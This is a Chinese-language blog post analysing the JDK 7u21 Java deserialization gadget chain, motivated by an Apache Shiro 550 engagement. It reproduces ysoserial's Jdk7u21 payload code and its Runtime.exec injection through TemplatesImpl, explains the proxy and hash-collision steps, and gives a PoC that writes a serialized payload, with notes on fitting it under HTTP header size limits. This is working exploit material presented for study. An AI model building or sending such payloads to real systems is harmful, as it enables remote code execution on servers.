JDK7u21反序列化链利用分析
0x0 前言
起因来源于某次的真实的项目经历,碰到Shiro 550,当时尝试各种常见序列化链都失败了,最后JDK7u21 这个序列化链能够成功执行命令,所以对此进行一番学习。
0x1 前置知识
0x1.1 三大概念
学习JAVA相关内容内容之前,这三个经典概念都是可以回顾和学习。
(1) JVM(Java Virtual Machine)
JVM(java虚拟机),是驻留于内存的抽象计算机。
1.1 主要构成:
类加载器: 将.class 文件加载到内存
字节码验证工具: 检查代码中是否存在访问限制违规
执行引擎: 将字节码转换为可执行的机器码
JIT: 即时编译,用于提高JVM的性能,加快java程序的执行速度
1.2 主要作用:
将java字节码(类文件.class,由JVM指令集, 符号表以及补充信息构成)解释为本地机器码(字节码映射本地机器码),不同的操作系统使用不同的JVM映射规则,使java字节码的解释执行与操作系统无关,从而完成跨平台。
JAVA语言的跨平台性是基于JVM的不跨平台性的
(2) JRE(JAVA Runtime Environment)
JRE(java运行环境),由运行和管理JAVA应用程序的类库和工具组成。
单纯的JVM不能直接运行java程序,需要核心类库的支持,所以可以简单理解
JRE = JVM + 核心类库 + 一些工具(密钥库工具keytool, jar文件解压缩工具...)
(3) JDK(JAVA Development Kit)
java开发工具包,是面向JAVA开发人员使用的SDk(software Development Kit 软件开发工具包)
提供java程序的开发环境和运行环境。
JDK 包含了 JRE、基础类库(Java API,如网络、IO、线程、模型)、java源码编译器javac、以及其他一些开发、诊断、分析、调试、管理的工具和命令,如jar、javah、jdb等
0x1.2 jdk命名规则
我们平时安装的java环境,大多是 Java SE Development Kit 8u261, 也就是所谓的jdk8,java8, jdk8。
为什么同一个东西,有这么多名称呢,其实这个跟jdk发布历史中改名有关。
1996-01-23 -1999-04-08 发行了 jdk1.0 - jdk1.1.8
1998-12-04 - 2003-0626 发行了 j2se 1.2 (jdk 1.2 开始了改名)
2004-09-30 发行了Java SE 5.0 (1.5.0) (jdk 1.5.0 又开始了改名)
..
Java SE 6.0 (1.6.0)
Java SE 7.0 (1.7.0)
...
Java SE 11.0
等
Java命名方式更改的事件原因:
1998年12月8日,Sun公司发布了第二代Java平台(简称为Java2)的3个版本:J2ME(Java2 Micro Edition,Java2平台的微型版),应用于移动、无线及有限资源的环境;J2SE(Java 2 Standard Edition,Java 2平台的标准版),应用于桌面环境;J2EE(Java 2Enterprise Edition,Java 2平台的企业版),应用于基于Java的应用服务器。
2004年9月30日,J2SE1.5发布。为了表示该版本的重要性,J2SE 1.5更名为Java SE 5.0(内部版本号1.5.0)
2005年6月,Java SE 6正式发布。此时,Java的各种版本已经更名,已取消其中的数字2(如J2EE更名为JavaEE,J2SE更名为JavaSE,J2ME则为JavaME)
java SE 主要应用于电脑上运行的软件】
java ee 是基于se基础上构建,是开发企业级应用的一套APi(标准),主要应用于网站建设。
(其实我们平时用Spring 框架去开发 + tomcat 也可以的,根本不需要下载java ee的jdk)
java se 主要应用于移动设备和嵌入式设备的java应用程序
java se ee me 他们所使用的jdk是一样的,区别的是,内置的类库存在差异。
0x2 调试环境搭建
这里简单介绍我平时的工作流,每个人的爱好都不一样。
1.调试工具:
ideal(调试)、eclipse(开发)
2.安装JDK不同版本:
MAC homebrew 只能直接安装官方最新版的OpenJDK
最新版:
brew install java
jdk8以上:
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk8
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk9
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk10
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk11
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk12
jdk7:
brew cask install homebrew/cask-versions/zulu7
jdk6:
brew cask install homebrew/cask-versions/java6
再低就没有必要了,毕竟都2020年.
查看系统已安装的java版本和路径:/usr/libexec/java_home -V
这样子虽然方便,但是我们依然选择不了自己想要的大版本中的小版本,这里的1.7.0272 已经超过了漏洞的版本,经过测试,没办法打成功的。
那么如何安装更详细的版本呢?
选择合适的操作系统下载,傻瓜化安装即可。
3.下载
git clone https://github.com/frohoff/ysoserial
编译:
cd ysoserial
mvn clean package -DskipTests
基本用法:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "whoami" > jdk7u21Object.ser
然后直接导入ideal中,下面我们直接在ideal进行ysoserial payload类的导入即可,这样子分析链也方便。
0x3 漏洞说明
0x3.1 背景说明
缺陷影响版本: JRE versions <= 7u21
利用限制: 仅依赖于原生库函数
真实影响: 实战环境有机会遇到
0x3.2 漏洞演示
package ysoserial.example;
import ysoserial.payloads.Jdk7u21;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class JDK7u21 {
public static void main(String[] args) {
try {
Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
成功执行命令
ysoserial的payload
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
可以看到payload不是很长,但是利用链中的调用还是比较多的,让我们来慢慢分析吧。
0x4 漏洞分析
0x4.1 第一层 createTemplatesImpl
别问我为什么这是第一层(payload都是层层嵌套的,这是第一句)
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
// 建立一个templates 对象
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
//
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// Foo.class 没什么很大作用,可能是凑数组数量的,删掉也ok
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
这里分为两部分,一部分是javassist的动态注入,一部分是templates 属性的设置。
javassist的作用:
通过动态字节码生成一个类,该类的静态代码块中存储恶意代码。
templates属性设置的作用:
Templates.newTransformer() 实例化该恶意类从而触发其静态代码块中的恶意代码。
这部分的理解我们可以通过调试这个简单的触发语句来理解:
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");//生成恶意的calc
calc.getOutputProperties();//调用getOutputProperties就可以执行calc
}
基本的调用栈如下:
calc.getOutputProperties()
执行后
跳转去执行: newTransformer().getOutputProperties()
接着去执行newTransformer()
这个方法。
可以看到在这个方法里面的第一个参数又调用了getTransletInstance()
,继续跟进
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
我们没有设置_class
属性,故进入defineTransletClasses
方法。然后执行
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
调用_class[_transletIndex]
类的无参构造方法,生成类对象。
private void defineTransletClasses()
throws TransformerConfigurationException {
// 这里我们传入了值
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
// 引入加载器
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// 这里在其他版本会有一句_tfactory.getExternalExtensionsMap()
// 为了防止出错,所以我们给_tfactory 设置 transFactory.newInstance() 这个带有getExternalExtensionsMap方法的实例
// 7u21版本下其实加不加都没关系。
return new
TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
// 根据_bytecodes传入的数目
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
// 加载字节码转化为对应的类
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
// _transletIndex 默认值是-1
// 所以为了不出错,所以这里字节码转换为对应类的时候,其父类必须是
// ABSTRACT_TRANSLET = com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
_class[i] = loader.defineClass(_bytecodes[i]);
,加载类并不会触发静态方法,但是之后会有一个
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
进行实例化,从而触发我们javassist注入的静态恶意代码。
再次梳理代码流程
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
// 建立一个templates 对象
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
}
这里的核心就是将cmd命令通过makeClassInitializer
方法注入到了StubTransletPayload
但是这个类还有一个要求必须是abstTranslet
的子类,所以这里处理两个类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
通过javassistd方式将StubTransletPayload
的父类设置为abstTranslet
其实ysoserial做了很多重复的工作(可能有其他作用? 迷。)
从上面我们简单归纳下执行的顺序:
1.TemplatesImpl.getOutputProperties()
2.TemplatesImpl.newTransformer()
3.TemplatesImpl.getTransletInstance()
4.TemplatesImpl.defineTransletClasses()
5.ClassLoader.defineClass()
6.Class.newInstance()
1,2,3,4中都是可以触发的点,但是1,2 是public
方法可以被对象直接调用,而3,4是private
方法,只能被对象可调用方法间接调用。
所以我们第二层的目标就是触发第一点或者第二点。
0x4.2 第二层 AnnotationInvocationHandler
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
第二层的核心是怎么触发第一层的TemplatesImpl.newTransformer()
这里选择newTransformer()
方法来触发的原因还是比较取巧和骚气的。
理解这个之前,我们先学习一下java的动态代理机制。
java静态代理: 通过聚合来实现,代理类通过引入被代理类对象。 缺点:不方便批量对接口进行修改
java动态代理:
实现这两个动态代理,有两个重要的接(InvocationHandler)口和类(Proxy)
这个特点经常用在日志记录上面,举一个例子介绍用法:
AppService.java
package proxypractice; public interface AppService { public boolean createApp(String name); }AppServiceImpl.java
package proxypractice; public class AppServiceImpl implements AppService { @Override public boolean createApp(String name) { // TODO Auto-generated method stub System.out.println("APP["+name + "] has beend created!"); return true; } }LoggerInterceptor.java
package proxypractice; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class LoggerInterceptor implements InvocationHandler { private Object target; public LoggerInterceptor(Object t) { // TODO Auto-generated constructor stub this.target = t; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // TODO Auto-generated method stub System.out.println("Entered" + target.getClass().getName()); System.out.println("Method:" + method.getName()); System.out.println("Arguments:" + args[0] ); // call target's method Object result = method.invoke(target, args); return result; } }LoggerInterceptor 作为一个中介类,继承了InvocationHandler,
Proxy.newProxyInstance 则通过传入被代理类、代理接口、LoggerInterceptor对象生成了一个代理对象。
能够实现在调用被代理类方法之前,进入中介类的invoke函数方法里面进行执行前后的处理。
学习完动态代理之后,我们就可以理解上面三句话的作用了。
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
首先通过Reflections框架通过调用初始化函数创建一个AnnotationInvocationHandler对象实例。
然后设置了type
属性为Templates.class
然后创建了一个Templates
类型的代理,hook了所有接口。(这里绑定什么类都没关系的,因为我们需要的是equals
方法,默认继承Object根类都自带这个方法,下面会说的)
我们重新写一个只涉及两层利用的POC,通过debug的方式去分析。
package ysoserial.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
public class TwoTest {
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");//生成恶意的calc
HashMap map = new HashMap();
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
proxy.equals(calc);
}
}
调用栈如下,开始逐一分析吧。
这里就是检验equals
这个方法是不是被重写了,原生的话是会进入equalsImpl
这个函数的。
private Boolean equalsImpl(Object var1) {
// 判断var1是否为AnnotationInvocationHandle,var1是templates,pass
if (var1 == this) {
return true;
// 构造限制点,type属性限制了var1必须为this.type的类实例
} else if (!this.type.isInstance(var1)) {
return false;
} else {
//这里获取了当前成员的方法
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4]; //遍历获取方法
String var6 = var5.getName(); //获取方法名字
Object var7 = this.memberValues.get(var6);//获取memberValues中的值
Object var8 = null;
// Proxy.isProxyClass(var1.getClass()
// 判断varl是不是代理类,显然不是,pass
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
// 这里直接进行了方法的调用核心。
// var5是方法名,var1是可控的类
// var1.var5()
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
我们的目的是`TemplatesImpl.newTransformer()
那么我们var1可以通过proxy(var1)
方式去控制,那么var5怎么去控制方法的呢?
Method[] var2 = this.getMemberMethods();
可以看到这里获取了成员的方法,我们选择跟进去看看。
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
结果发现是通过反射机制从this.type
这个类属性去获取的。
Reflections.setFieldValue(tempHandler, "type", Templates.class);
所以这里我们只要控制type为Templates.class
就行了。
里面就有newTransformer
方法,且为第一个,如果是第二个、第三个话,前面可能会因为参数不对等原因出现错误,导致程序没能执行到newTransformer
方法就中断了。
0x4.3 第三层 LinkedHashSet
第三层的核心就是触发proxy.equals(calc);
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
这里我们可以直观梳理出第三层关键作用的代码:
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
这是最外层LinkedHashSet
,这个对象在反序列化的时候会自动触发readObject
方法,从而开始了exp的执行流程
通过查看序列化规则writeObject
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
我们可以知道它的序列化规则
s.defaultWriteObject();
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
s.writeInt(map.size());
for (E e : map.keySet())
s.writeObject(e);
可以看到有个获取map大小,然后循环写入的过程。(也就是循环写入每一个元素)
在我们的exp里面分别按顺序执行set.add(templates);
、set.add(proxy);
添加了两个元素。
这到底是为什么需要两个呢?
还有就是
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
.......
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
map.put(zeroHashCodeStr, templates); // swap in real object
我们对创建的代理对象设置了一个特殊的HashMap map
,
作为了memberValues
属性的值。 让我们带着这两个问题去分析一下。
从readObject开始分析
这里先取出了我们先传入第一个templates
, 其中PRESENT
是一个空的Object 跟进看下 map.put
方法的处理
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
因为table一开始为空的,所以我们第一次进入不了循环,最后进入
传入了我们第一个实例通过hash()
计算出的hash、实例和空object和 indexFor()
计算出的i值
通过addEntry
方法添加到了table
这个Entry中,继续往下执行,
跳转回map.put(e, PRESENT);
传入我们第二个代理实例。
先记住当前传入的这些值,后面就会发现这些值会有神奇的作用。
我们继续重复上次的操作,先计算hash
因为是代理对象,执行方法的时候会进入invoke
我们跟进hashCodeImpl
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
var2遍历我们传入的map对象,其中var3就是我们的map对象。
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()
其中
var3.getKey()).hashCode()
这个值f5a5a608
计算结果为0.
memberValueHashCode(var3.getValue()
这个值直接返回map.put(zeroHashCodeStr, templates);
中的templates
的hashcode
结果。
所以
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
其实就是:
var1 += 0^memberValueHashCode(var3.getValue())
0^x =x
,所以结果就是templates
的hashcode
的结果。
这个结果恰好是我们第一次传入的对象结果。
LinkedHashSet set = new LinkedHashSet(); // maintain order
// 第一次传入的是templates实例
set.add(templates);
// 第二次传入的是proxy代理实例
set.add(proxy);
虽然我们传入的两个不一样的东西,但是计算hashcode的时候,代理实例的值使我们可以通过设置this.memberValue
来控制的。
后面继续向下走:
e.hash == hash && ((k = e.key) == key || key.equals(k))
首先e.hash == hash
这个是满足的,根据&& 短路原则,会继续计算右边的结果,(k = e.key) == key
这里进行了赋值K = e.key
所以k就是templates
,显然不会等于代理类对象key。根据 ||的短路原则
最终进入了key.equals(k)
,也就是前面我们所说的proxy.equals(calc)
,成功完成整个反序列化的RCE链。
0x5 POC 长度
package ysoserial.example;
import ysoserial.payloads.Jdk7u21;
import java.io.*;
public class PayloadOk {
public static void main(String[] args) {
try {
Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("/tmp/payload.ser")));
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
可以看到这个POC的Base64之后大小只有3489个字节。常见的nginx header头部max length 4096和tomcat的8192
都可以兼容这个POC。
我们可以继续浏览下其他的反序列化链的大小。
可以看到不同的POC,字节大小的区别还是挺大的,针对不同的容器,选择不同的POC,以及对POC的优化还是很有必要的。
0x6 总结
这个链条第一次看的时候感觉真的挺复杂的,但是通过分析之后,理解起来还是比较简单的。但是能够发现这个反序列化链绝对是神级大佬级别的(好奇ing,这种链条的发现真的骚)。后面分析下如何在Shiro 550 tomcat环境中利用该链条执行命令回显。